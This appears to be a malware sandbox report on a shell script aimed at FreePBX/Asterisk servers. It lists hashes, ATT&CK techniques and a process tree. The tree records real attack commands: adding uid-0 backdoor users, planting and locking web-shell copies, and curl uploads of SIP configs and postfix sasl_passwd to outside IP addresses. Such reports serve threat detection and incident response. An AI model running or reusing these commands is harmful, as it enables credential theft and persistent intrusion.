c962067f11b2f516f0686d4c659b2717aaff65ca529bf0e03d51f9ce70f9537f

Analysis

max time kernel
138s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 19:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 48KB
Sample260809-ymr8macc29
SHA256 c962067f11b2f516f0686d4c659b2717aaff65ca529bf0e03d51f9ce70f9537f
MD5 8a71f604c8279e7a612cc0136f5f5c0b
SHA1 5e62656f1fe109aa011ad02dfecc6d190d3affa4
SHA512 36568aa679baf5877ac6aa125bd014fa5032198f448de3410c9fb8721511981f10783600a5957e9ff7747ef694bb51b8046bbcb8b0f7a47d5d1a404a339e88c1
SSDEEP 768:qr9NyXsZztCo9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnS:UHusZQcr
TLSH
T1EC236C6516857C14AE99C4365C7E2F0CBDAD43E6314492EE7FCE3CF28C4A6ADA20871D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
825	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
784	useradd
792	useradd
802	useradd
806	useradd

Deobfuscate/Decode Files or Information 1 TTPs 9 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
856	base64
782	base64
800	base64
831	base64
846	base64
876	base64
790	base64
804	base64
841	base64

Checks CPU configuration 1 TTPs 35 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
858	curl
869	curl
878	curl
879	curl
883	curl
861	curl
864	curl
871	curl
882	curl
863	curl
865	curl
881	curl
884	curl
885	curl
889	curl
890	curl
891	curl
859	curl
862	curl
870	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	k.php.sh

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
- Writes file to tmp directory
PID:643
- /bin/bash
  bash
  2⤵
  PID:651
- /usr/bin/curl
  curl http://160.119.69.4/x -ks
  2⤵
  - Checks CPU configuration
  PID:649
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:780
- /bin/bash
  bash
  2⤵
  PID:783
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:784
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:785
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:786
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:787
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:788
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:782
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:790
- /bin/bash
  bash
  2⤵
  PID:791
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:792
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:793
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:794
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:795
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:796
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:800
- /bin/bash
  bash
  2⤵
  PID:801
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:802
- /bin/bash
  bash
  2⤵
  PID:805
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:806
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:804
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:807
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  PID:808
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:809
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:810
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:811
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  PID:812
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  PID:813
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:814
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  PID:815
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:816
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  PID:817
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  PID:818
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  - Reads runtime system information
  PID:819
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  - Reads runtime system information
  PID:820
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:821
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:822
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:826
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:827
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:828
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:829
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:831
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:832
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:835
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:836
- - /bin/ls
    ls -ls /home
    3⤵
    PID:837
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:838
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:839
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:841
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:842
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:843
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:844
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:846
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:847
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:848
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:849
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:850
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:853
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:854
- /bin/bash
  bash
  2⤵
  PID:857
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:858
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:859
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:860
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - System Network Configuration Discovery
    PID:861
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:862
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:863
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:864
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:865
- - /usr/bin/curl
    curl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:866
- - /usr/bin/curl
    curl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:867
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:868
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:869
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:870
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:871
- - /usr/bin/curl
    curl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:872
- - /usr/bin/curl
    curl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:873
- - /usr/bin/curl
    curl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:874
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:856
- /bin/bash
  bash
  2⤵
  PID:877
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:878
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:879
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:880
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:881
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:882
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:883
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - System Network Configuration Discovery
    PID:884
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:885
- - /usr/bin/curl
    curl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:886
- - /usr/bin/curl
    curl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:887
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:888
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - System Network Configuration Discovery
    PID:889
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:890
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:891
- - /usr/bin/curl
    curl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:892
- - /usr/bin/curl
    curl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:893
- - /usr/bin/curl
    curl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:894
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
MD5 402c4c78cd05ab84e54fd6c3afcecd4a
SHA1 e4efe63dfbf9a214ffac9960704408ab47632626
SHA512 6885ace9fe605c9bd8ff126682c954bc09f786b52d8b96556426fde1be8882e8cd86fe3b6ab2cee3bed26e1fa1e28f41494351e7a096297187c651760a3ae6f6
TLSH
T111314920032990BC9CC1E85A111F7FD414EC78D14A79FB2DDC7BA144EC9BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
MD5 796251e44d89beefde52524c5fdff5c3
SHA1 4e8ca04b0aa8476e9bb7b491527461b52feb7393
SHA512 f05fd9f7551b736a8c8729bad8b0bf177818a41449393f35a99496aa7873b580387d5605dac00f61e9294acda6eddfb54bc4ad942418af57fcdfa406c9238899
TLSH
T1D3315A10032990BC9DC1E85A111F7FD414EC78E14A79FB2DD87BA140EC8BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 949B
SHA256 b4a5b0224001002a0820e8a14a479b279fc18f27ae8ed609f8ed4b2b981c501a
MD5 8c976ca54d9134749f57f50db6f1672e
SHA1 e005162873c66507d7413f3be5116490fe5dd59b
SHA512 fad6255696b2bc06689cd96cd3289ca5aa0d12ca0f9a90355236465b01bccfa4cb5833195eecef9e01cfd51f2d4e608b931bb0d685d396d8ca247ce917fc57df
TLSH
T144119F80A33CFC4943E654DD618602D9E6EFAD7102B8D18FC82289375EF58E61719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 909B
SHA256 cd9054ae260efcfd3d66ea53f9a31f585999f61f8565be6955a82f26a590823f
MD5 305dd44b4598e2406522d6bd16445363
SHA1 85f67de90d4ac32bad6ba86a75a3e4c616cfa1dc
SHA512 845ad28fe089c362bcc6063a26eff0f214bef11583a7b63b24993d4241360cbc247a64cc499a545499a6b83306d877edac5eeeaef969f4a5d52d6cfdefa125b0
TLSH
T1AF117080A33CFC5843E510DD619202D9D6EF6C7502B8D18FC82689775EF58E61719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads